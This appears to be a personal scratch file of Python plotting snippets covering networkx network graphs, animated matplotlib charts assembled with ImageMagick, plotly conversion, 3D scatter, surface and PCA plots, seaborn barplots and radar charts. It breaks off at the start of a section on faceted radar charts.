list(nx.connected_component_subgraphs(G))\r\ngraphs\r\n\r\n\r\n\r\n#######\r\nNICE\r\nhttps://stackoverflow.com/questions/22679856/python-network-spring-layout-with-different-color-nodes\r\nimport matplotlib.pyplot as plt\r\nimport networkx as nx\r\n\r\nG = nx.balanced_tree(2,5)\r\nlength = nx.shortest_path_length(G, source=0)\r\nnodelist,hops = zip(*length.items())\r\npositions = nx.graphviz_layout(G, prog='twopi', root=0)\r\nnx.draw(G, positions, nodelist = nodelist, node_color=hops, cmap=plt.cm.Blues)\r\nplt.axis('equal')\r\nplt.show()\r\n\r\n\r\n\r\n\r\nimport matplotlib.pyplot as plt\r\nimport networkx as nx\r\nimport random\r\n\r\nG = nx.gnp_random_graph(10,0.3)\r\nfor u,v,d in G.edges(data=True):\r\n    d['weight'] = random.random()\r\n\r\nedges,weights = zip(*nx.get_edge_attributes(G,'weight').items())\r\n\r\npos = nx.spring_layout(G)\r\nnx.draw(G, pos, node_color='b', edgelist=edges, edge_color=weights, width=10.0, edge_cmap=plt.cm.Blues)\r\n#plt.savefig('edges.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# xxx Weighted or not?\r\n\r\n# Another important aspect of network graphics is to decide wether or not the connection are weighted\r\n\r\n# libraries\r\nimport pandas as pd\r\nimport numpy as np\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Data\r\na = ['A', 'A', 'A', 'C','B']\r\nb = ['B', 'D', 'C', 'D','D']\r\nweigth= [1, 1, 3, 1, 1]\r\ndf = pd.DataFrame({ 'from':a, 'to':b, 'weigth':weigth}) \r\ndf\r\n\r\n# The default one is unweighted\r\nG=nx.from_pandas_dataframe(df=df, source='from', target='to', create_using=nx.Graph() ) \r\nnx.draw(G, pos=nx.spring_layout(G), arrows=True, with_labels=True, node_size=82, node_color=\"skyblue\", node_shape=\"o\", alpha=0.8, linewidths=13)\r\nplt.show()\r\n\r\n\r\n# Unirected, weighted\r\nG=nx.from_pandas_dataframe(df=df, source='from', target='to', edge_attr=['weigth'] ) \r\nG['A']['B'] \r\n'weight']\r\nnx.draw(G, pos=nx.spring_layout(G), arrows=True, with_labels=True, node_size=82, node_color=\"skyblue\", node_shape=\"o\", alpha=0.8, linewidths=13)\r\nplt.show()\r\nG\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nhelp(nx.draw)\r\nhelp(nx.draw_networkx)\r\n\r\n# ON a 4 classe de graphique pour 4 typ de graphiques\r\n>>> G=nx.Graph()\r\n>>> G=nx.DiGraph()\r\n>>> G=nx.MultiGraph() \r\n>>> G=nx.MultiDiGraph()\r\nUndirected Simple = Graph\r\nDirected Simple = DiGraph\r\nWith Self-loops Graph = DiGraph\r\nWith Parallel edges = MultiGraph, MultiDiGraph\r\n# \r\n\r\n\r\n\r\n\r\ndraw(G[, pos, ax, hold])\r\ndraw_networkx(G[, pos, arrows, with_labels])\r\ndraw_networkx_nodes(G, pos[, nodelist, . . . ])\r\ndraw_networkx_edges(G, pos[, edgelist, . . . ])\r\ndraw_networkx_labels(G, pos[, labels, . . . ])\r\ndraw_networkx_edge_labels(G, pos[, . . . ])\r\ndraw_circular(G, **kwargs)\r\ndraw_random(G, **kwargs)\r\ndraw_spectral(G, **kwargs)\r\n\r\n\r\n\r\n# Example 1\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\nG=nx.dodecahedral_graph()\r\nnx.draw(G,pos=nx.spring_layout(G))\r\nplt.show()\r\n\r\n\r\n# Custom network:\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\nG=nx.dodecahedral_graph()\r\nnx.draw(G, pos=nx.spring_layout(G), arrows=True, with_labels=True, node_size=82, node_color=\"skyblue\", node_shape=\"o\", alpha=0.8, linewidths=13)\r\nplt.show()\r\n\r\n\r\n# Change layout:\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\nG=nx.dodecahedral_graph()\r\nnx.draw(G,pos=nx.fruchterman_reingold_layout(G))\r\nplt.show()\r\ncircular_layout(G[, dim, scale, center])\r\nfruchterman_reingold_layout(G[ dim, k, . . . ])\r\nrandom_layout(G[, dim, scale, center])\r\nshell_layout(G[, nlist, dim, scale, center])\r\nspring_layout(G[, dim, k, pos, fixed, . . . ])\r\nspectral_layout(G[, dim, weight, scale, center])\r\n\r\n\r\n# From panda dataframe edgelist\r\nimport pandas as pd\r\nimport numpy as np\r\nr = np.random.RandomState(seed=5)\r\nints = r.random_integers(1, 10, size=(3,2))\r\na = ['A', 'B', 'C']\r\nb = ['D', 'A', 'E']\r\ndf = pd.DataFrame(ints, columns=['weight', 'cost']) \r\n\r\ndf[0] = a\r\ndf['b'] = b\r\ndf\r\n\r\nG=nx.from_pandas_dataframe(df, 0, 'b', ['weight', 'cost']) \r\nnx.draw(G, pos=nx.spring_layout(G), arrows=True, with_labels=True, node_size=82, node_color=\"skyblue\", node_shape=\"o\", alpha=0.8, linewidths=13)\r\nplt.show()\r\n\r\n\r\n\r\n\r\n# From adjacency matrix\t\r\nimport numpy\r\na = numpy.reshape(numpy.random.random_integers(0,1,size=100),(10,10))\r\na\r\nD = nx.DiGraph(a)\r\nD\r\nnx.draw(D)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#---- COMPREHENSION\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\na = ['A', 'A', 'A', 'C','D']\r\nb = ['B', 'C', 'C', 'D','D']\r\nweigth= ['1', '1', '3', '1', '1']\r\ndf = pd.DataFrame({ 'from':a, 'to':b, 'weigth':weigth}) \r\n\r\n# Not directed, unweighted\r\nG=nx.from_pandas_dataframe(df=df, source='from', target='to', create_using=nx.Graph() ) \r\nnx.draw(G, pos=nx.spring_layout(G), arrows=True, with_labels=True, node_size=82, node_color=\"skyblue\", node_shape=\"o\", alpha=0.8, linewidths=13)\r\nplt.show()\r\n\r\n# Directed, unweighted\r\nG=nx.from_pandas_dataframe(df=df, source='from', target='to', create_using=nx.DiGraph() ) \r\nnx.draw(G, pos=nx.spring_layout(G), arrows=True, with_labels=True, node_size=82, node_color=\"skyblue\", node_shape=\"o\", alpha=0.8, linewidths=13)\r\nplt.show()\r\n\r\n# Unirected, weighted\r\nG=nx.from_pandas_dataframe(df=df, source='from', target='to', create_using=nx.MultiGraph(), edge_attr=\"weigth\" ) \r\nnx.draw(G, pos=nx.spring_layout(G), arrows=True, with_labels=True, node_size=82, node_color=\"skyblue\", node_shape=\"o\", alpha=0.8, linewidths=13)\r\nplt.show()\r\n\r\n# Directed, weighted\r\nG=nx.from_pandas_dataframe(df=df, source='from', target='to', create_using=nx.MultiDiGraph() ) \r\nnx.draw(G, pos=nx.spring_layout(G), arrows=True, with_labels=True, node_size=82, node_color=\"skyblue\", node_shape=\"o\", alpha=0.8, linewidths=13)\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #330 -> #340 ABOUT PANDAS\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n\r\n\r\nhttp://pandas.pydata.org\r\n\r\ncitation: \r\npandas is a library providing high-performance, easy-to-use data structures and data analysis tools for the Python programming language.\r\nIt aims to be the fundamental high-level building block for doing practical, real world data analysis in Python\r\ndata manipulation and analysis\r\nMostly used for data manipulation. But can also be used for dataviz.\r\nA few example.\r\n8 resources to learn pandas: http://www.dataschool.io/best-python-pandas-resources/\r\n\r\nAbsolutely unavoidable if you do data science in python.\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #340 -> #350 ANIMATION\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n\r\nimport os\r\nos.chdir(\"/Users/y.holtz/Dropbox/Python_GG\")\r\ncwd = os.getcwd()\r\ncwd\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 340 Basic animation\r\n\r\n# libraries\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nmy_dpi=96\r\n\r\n# I build a data set: 10 individuals and 5 variables for each\r\nfor i in range(0,10):\r\n    fig = plt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n    plt.scatter(i, i*i, s=40+i*600, alpha=0.5, edgecolors=\"grey\", linewidth=2)\r\n    plt.xlim(0, 10)\r\n    plt.ylim(0, 100)\r\n    filename='PNG/ANIMATION/step'+str(i)+'.png'\r\n    plt.savefig(filename, dpi=96)\r\n    plt.gca()\r\n  \r\n\r\n# Then use image magick (this is bash, not python)\r\nconvert -delay 80 *.png animated_chart.gif\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 341 GAPMINDER\r\n\r\n\r\n# libraries\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport seaborn as sns\r\nsns.set_style(\"white\")\r\nimport pandas as pd\r\nmy_dpi=96\r\n\r\n# Get the data (csv file is hosted on the web)\r\nurl = 'https://python-graph-gallery.com/wp-content/uploads/gapminderData.csv'\r\ndata = pd.read_csv(url)\r\n\r\n# And I need to transform my categorical column (continent) in a numerical value group1->1, group2->2...\r\ndata['continent']=pd.Categorical(data['continent'])\r\n \r\n# For each year:\r\nfor i in data.year.unique():\r\n\r\n    # initialize a figure\r\n    fig = plt.figure(figsize=(680/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n    \r\n    # Change color with c and alpha. I map the color to the X axis value.\r\n    tmp=data[ data.year == i ]\r\n    plt.scatter(tmp['lifeExp'], tmp['gdpPercap'] , s=tmp['pop']/200000 , c=tmp['continent'].cat.codes, cmap=\"Accent\", alpha=0.6, edgecolors=\"white\", linewidth=2)\r\n\r\n    # Add titles (main and on axis)\r\n    plt.yscale('log')\r\n    plt.xlabel(\"Life Expectancy\")\r\n    plt.ylabel(\"GDP per Capita\")\r\n    plt.title(\"Year: \"+str(i) )\r\n    plt.ylim(0,100000)\r\n    plt.xlim(30, 90)\r\n\r\n    # Save it\r\n    filename='PNG/ANIMATION/Gapminder_step'+str(i)+'.png'\r\n    plt.savefig(filename, dpi=96)\r\n    plt.gca()\r\n\r\n# Then use image magick (this is bash, not python)\r\nconvert -delay 80 Gapminder*.png animated_gapminder.gif\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 342 VOLCANO 3D\r\n\r\n# Let's animate the volcano 3D presented in the 3D section\r\n\r\n# library\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport seaborn as sns\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Get the data (csv file is hosted on the web)\r\nurl = 'https://python-graph-gallery.com/wp-content/uploads/volcano.csv'\r\ndata = pd.read_csv(url)\r\n\r\n# Transform it to a long format\r\ndf=data.unstack().reset_index() \r\ndf.columns=[\"X\",\"Y\",\"Z\"]\r\n\r\n# And transform the old column name in something numeric\r\ndf['X']=pd.Categorical(df['X'])\r\ndf['X']=df['X'].cat.codes\r\n\r\n# We are going to do 20 plots, for 20 different angles\r\nfor angle in range(70,210,2):\r\n    \r\n    # Make the plot\r\n    fig = plt.figure()\r\n    ax = fig.gca(projection='3d')\r\n    ax.plot_trisurf(df['Y'], df['X'], df['Z'], cmap=plt.cm.viridis, linewidth=0.2)\r\n    \r\n    # Set the angle of the camera\r\n    ax.view_init(30,angle)\r\n \r\n    # Save it\r\n    filename='PNG/ANIMATION/Volcano_step'+str(angle)+'.png'\r\n    plt.savefig(filename, dpi=96)\r\n    plt.gca()   \r\n    \r\n# Then use image magick (this is bash, not python)\r\nconvert -delay 50 Volcano*.png animated_volcano.gif\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #350 -> #360 PLOTLY\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n# install with pip install plotly\r\n# see https://plot.ly/matplotlib/getting-started/\r\n\r\n# READ THIS\r\n# http://nbviewer.jupyter.org/github/plotly/python-user-guide/blob/master/s6_matplotlylib/s6_matplotlylib.ipynb\r\n# Explain everything about transition from matplotlib to plotly\r\n# And an example here:\r\n  \r\nhttp://nbviewer.jupyter.org/github/etpinard/plotly-misc-nbs/blob/etienne/dataviz.ipynb\r\n\r\n  \r\n# Matplotlib\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n# Plotly\r\nimport plotly.plotly as py\r\nimport plotly.tools as tls\r\n\r\n\r\n## Generating the data..\r\nx =  np.linspace(np.pi, 3*np.pi, 1000)\r\nsinx = np.sin(x)\r\nlogx = np.log(x)\r\n\r\nfig = plt.figure()\r\nax = fig.add_subplot(111)\r\nax.plot(x, sinx)\r\nax.set_title('A Sine Curve')\r\n\r\npy.iplot_mpl(fig, file_id=\"toto\")\r\n\r\n\r\n\r\n\r\nplotly_fig = tls.mpl_to_plotly(mpl_fig)\r\nplotly_fig\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nimport plotly.plotly as py\r\nfrom plotly.graph_objs import *\r\nimport plotly.tools as tls\r\nimport numpy as np\r\nimport pandas as pd\r\nimport math\r\nimport matplotlib.mlab as mlab\r\n%matplotlib inline\r\n\r\n\r\nun='IPython.Demo'; k='1fw3zw2o13'; py.sign_in(un,k);\r\n\r\n\r\n\r\n\r\n                                             \r\n                                             \r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #370 -> #380 3D plots\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n\r\n\r\nimport os\r\nos.chdir(\"/Users/y.holtz/Dropbox/Python_GG\")\r\ncwd = os.getcwd()\r\ncwd\r\n\r\n#-------------------------------\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 370 3D SCATTERPLOT\r\n\r\n# libraries\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Dataset\r\ndf=pd.DataFrame({'X': range(1,101), 'Y': np.random.randn(100)*15+range(1,101), 'Z': (np.random.randn(100)*15+range(1,101))*2 })\r\n \r\n# plot\r\nfig = plt.figure()\r\nax = fig.add_subplot(111, projection='3d')\r\nax.scatter(df['X'], df['Y'], df['Z'], c='skyblue', s=60)\r\nax.view_init(30, 185)\r\n\r\nplt.savefig('PNG/#370_3D_scatterplot.png', dpi=96)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 371 SURFACE PLOT\r\n\r\n#.plot_surface() takes 2D arrays as inputs, not 1D DataFrame columns, thus we are going to use plot_trisurf\r\n# Topographic Information on Auckland's Maunga Whau Volcano         \r\n         \r\n    \r\n# library\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport seaborn as sns\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Get the data (csv file is hosted on the web)\r\nurl = 'https://python-graph-gallery.com/wp-content/uploads/volcano.csv'\r\ndata = pd.read_csv(url)\r\n\r\n# Transform it to a long format\r\ndf=data.unstack().reset_index() \r\ndf.columns=[\"X\",\"Y\",\"Z\"]\r\n\r\n# And transform the old column name in something numeric\r\ndf['X']=pd.Categorical(df['X'])\r\ndf['X']=df['X'].cat.codes\r\n\r\n# Make the plot\r\nfig = plt.figure()\r\nax = fig.gca(projection='3d')\r\n#ax.plot_trisurf(df['Y'], df['X'], df['Z'], cmap=plt.cm.viridis, linewidth=0.2)\r\n#plt.savefig('PNG/#371_3D_Surface_plot_volcano_1.png')\r\n\r\n# Add a color bar which maps values to colors.\r\nsurf=ax.plot_trisurf(df['Y'], df['X'], df['Z'], cmap=plt.cm.viridis, linewidth=0.2)\r\nfig.colorbar( surf, shrink=0.5, aspect=5)\r\nplt.savefig('PNG/#371_3D_Surface_plot_volcano_2.png')\r\n\r\n# Rotate it\r\n#ax.view_init(30, 45)\r\n#plt.savefig('PNG/#371_3D_Surface_plot_volcano_3.png')\r\n\r\n# Other palette\r\nax.plot_trisurf(df['Y'], df['X'], df['Z'], cmap=plt.cm.jet, linewidth=0.01)\r\nplt.savefig('PNG/#371_3D_Surface_plot_volcano_4.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 372 Display 3D PCA result\r\n\r\n# http://blog.nextgenetics.net/?e=42\r\n\r\n# libraries\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn.decomposition import PCA\r\n\r\n# Get the iris dataset\r\nimport seaborn as sns\r\nsns.set_style(\"white\")\r\ndf = sns.load_dataset('iris')\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Keep the 'specie' column appart + make it numeric for coloring\r\ndf['species']=pd.Categorical(df['species'])\r\nmy_color=df['species'].cat.codes\r\ndf = df.drop('species', 1)\r\n\r\n# Run The PCA\r\npca = PCA(n_components=3)\r\npca.fit(df)\r\n\r\n# Store results of PCA in a data frame\r\nresult=pd.DataFrame(pca.transform(df), columns=['PCA%i' % i for i in range(3)], index=df.index)\r\n\r\n# Plot initialisation\r\nfig = plt.figure()\r\nax = fig.add_subplot(111, projection='3d')\r\nax.scatter(result['PCA0'], result['PCA1'], result['PCA2'], c=my_color, cmap=\"Set2_r\", s=60)\r\n\r\n# make simple, bare axis lines through space:\r\nxAxisLine = ((min(result['PCA0']), max(result['PCA0'])), (0, 0), (0,0))     \r\nax.plot(xAxisLine[0], xAxisLine[1], xAxisLine[2], 'r') \r\nyAxisLine = ((0, 0), (min(result['PCA1']), max(result['PCA1'])), (0,0)) \r\nax.plot(yAxisLine[0], yAxisLine[1], yAxisLine[2], 'r') \r\nzAxisLine = ((0, 0), (0,0), (min(result['PCA2']), max(result['PCA2']))) \r\nax.plot(zAxisLine[0], zAxisLine[1], zAxisLine[2], 'r') \r\n \r\n# label the axes \r\nax.set_xlabel(\"PC1\") \r\nax.set_ylabel(\"PC2\")\r\nax.set_zlabel(\"PC3\")\r\nax.set_title(\"PCA on the iris data set\")\r\n#plt.show() \r\n\r\nplt.savefig('PNG/#372_3D_PCA_result.png')\r\n\r\n\r\n\r\n\r\n\r\n                                             \r\n                                             \r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #380 -> #390 BARPLOTS SEABORN\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 380 Basic Barplot\r\n\r\n\r\n# ----- INPUT1 = one value per group\r\n\r\n# library\r\nimport seaborn as sns\r\nimport pandas as pd\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n#data\r\ndf = pd.DataFrame({'groups': ['A','B','C','D','E'], 'value': [5, 15, 5, 10, 15]})\r\n\r\n# Barplot\r\nsns.barplot(x=\"groups\", y=\"value\", data=df)\r\n\r\nplt.savefig('PNG/#380_basic_barplot_seaborn1.png', dpi=96)\r\n\r\n\r\n\r\n\r\n# ----- INPUT2 = several values / group\r\n\r\n# libraries\r\nimport seaborn as sns\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Dataset\r\nsns.set_style(\"white\")\r\ndf = sns.load_dataset('iris')\r\n\r\n# BAsic barplot\r\nsns.barplot(x=\"species\", y=\"sepal_length\", data=df)\r\n\r\nplt.savefig('PNG/#380_basic_barplot_seaborn2.png', dpi=96)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 381 Basic Grouped Barplot\r\n\r\n# - 3 different formats are possible\r\n    \r\n# library\r\nimport seaborn as sns\r\nimport pandas as pd\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n#data\r\ndf = pd.DataFrame({'groups': ['A','A','B','B','C','C','D','D'], 'subgroup': ['sub1','sub2','sub1','sub2','sub1','sub2','sub1','sub2'], 'value': [ 5, 10, 15, 2, 10, 11, 12, 3]})\r\n\r\n# Barplot\r\nsns.barplot(x=\"groups\", y=\"value\", hue=\"subgroup\", data=df)\r\n\r\nplt.savefig('PNG/#380_basic_barplot_seaborn1.png', dpi=96)\r\n\r\n\r\n--> No easy way to stack them...\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #390 -> #400 SPIDER PLOT\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n    \r\n# Repo\r\nimport os\r\nos.chdir(\"/Users/y.holtz/Dropbox/Python_GG\")\r\ncwd = os.getcwd()\r\ncwd\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 390 Basic Radar plot\r\n\r\n# Libraries\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nfrom math import pi\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n\r\n# Set data\r\ndf = pd.DataFrame({\r\n    'group': ['A','B','C','D'],\r\n\t'var1': [38, 1.5, 30, 4], \r\n\t'var2': [29, 10, 9, 34], \r\n\t'var3': [8, 39, 23, 24], \r\n\t'var4': [7, 31, 33, 14], \r\n\t'var5': [28, 15, 32, 14]\r\n\t})\r\n    \r\n# number of variable\r\ncategories=list(df)[1:]\r\nN = len(categories)\r\n\r\n# We are going to plot the first line of the data frame.\r\n# But we need to repeat the first value to close the circular graph:\r\nvalues=df.loc[0].drop('group').values.flatten().tolist()\r\nvalues += values[:1]\r\nvalues\r\n\r\n# What will be the angle of each axis in the plot? (we divide the plot / number of variable)\r\nangles = [n / float(N) * 2 * pi for n in range(N)]\r\nangles += angles[:1]\r\n\r\n# Initialise the spider plot\r\nax = plt.subplot(111, polar=True)\r\n\r\n# Draw one axe per variable + add labels labels yet\r\nplt.xticks(angles[:-1], categories, color='grey', size=8)\r\n\r\n# Draw ylabels\r\nax.set_rlabel_position(0)\r\nplt.yticks([10,20,30], [\"10\",\"20\",\"30\"], color=\"grey\", size=7)\r\nplt.ylim(0,40)\r\n\r\n# Plot data\r\nax.plot(angles, values, linewidth=1, linestyle='solid')\r\n\r\n# Fill area\r\nax.fill(angles, values, 'b', alpha=0.1)\r\n\r\n# save as png\r\nplt.savefig('PNG/#390_basic_Radarchart.png', dpi=96)\r\n\r\n            \r\n           \r\n            \r\n            \r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 391 Radar with several individuals\r\n\r\n# Libraries\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nfrom math import pi\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Set data\r\ndf = pd.DataFrame({\r\n    'group': ['A','B','C','D'],\r\n\t'var1': [38, 1.5, 30, 4], \r\n\t'var2': [29, 10, 9, 34], \r\n\t'var3': [8, 39, 23, 24], \r\n\t'var4': [7, 31, 33, 14], \r\n\t'var5': [28, 15, 32, 14]\r\n\t})\r\n\r\n# ------- PART 1: Create background\r\n\r\n    \r\n# number of variable\r\ncategories=list(df)[1:]\r\nN = len(categories)\r\n\r\n# What will be the angle of each axis in the plot? (we divide the plot / number of variable)\r\nangles = [n / float(N) * 2 * pi for n in range(N)]\r\nangles += angles[:1]\r\n\r\n# Initialise the spider plot\r\nax = plt.subplot(111, polar=True)\r\n\r\n# If you want the first axis to be on top:\r\nax.set_theta_offset(pi / 2)\r\nax.set_theta_direction(-1)\r\n\r\n# Draw one axe per variable + add labels labels yet\r\nplt.xticks(angles[:-1], categories)\r\n\r\n# Draw ylabels\r\nax.set_rlabel_position(0)\r\nplt.yticks([10,20,30], [\"10\",\"20\",\"30\"], color=\"grey\", size=7)\r\nplt.ylim(0,40)\r\n\r\n# ------- PART 2: Add plots\r\n\r\n# Plot each individual = each line of the data\r\n# I don't do a loop, because plotting more than 3 groups makes the chart unreadable\r\n\r\n# Ind1\r\nvalues=df.loc[0].drop('group').values.flatten().tolist()\r\nvalues += values[:1]\r\nax.plot(angles, values, linewidth=1, linestyle='solid', label=\"group A\")\r\nax.fill(angles, values, 'b', alpha=0.1)\r\n\r\n# Ind2\r\nvalues=df.loc[1].drop('group').values.flatten().tolist()\r\nvalues += values[:1]\r\nax.plot(angles, values, linewidth=1, linestyle='solid', label=\"group B\")\r\nax.fill(angles, values, 'r', alpha=0.1)\r\n\r\n# Add legend\r\nplt.legend(loc='upper right', bbox_to_anchor=(0.1, 0.1))\r\n\r\n# save as png\r\nplt.savefig('PNG/#391_Several_indiv_Radarchart.png', dpi=96, bbox_inches='tight')\r\n        \r\n            \r\n            \r\n    \r\n            \r\n            \r\n            \r\n            \r\n            \r\n            \r\n            \r\n            \r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 392 Use faceting for radar charts\r\n\r\n# 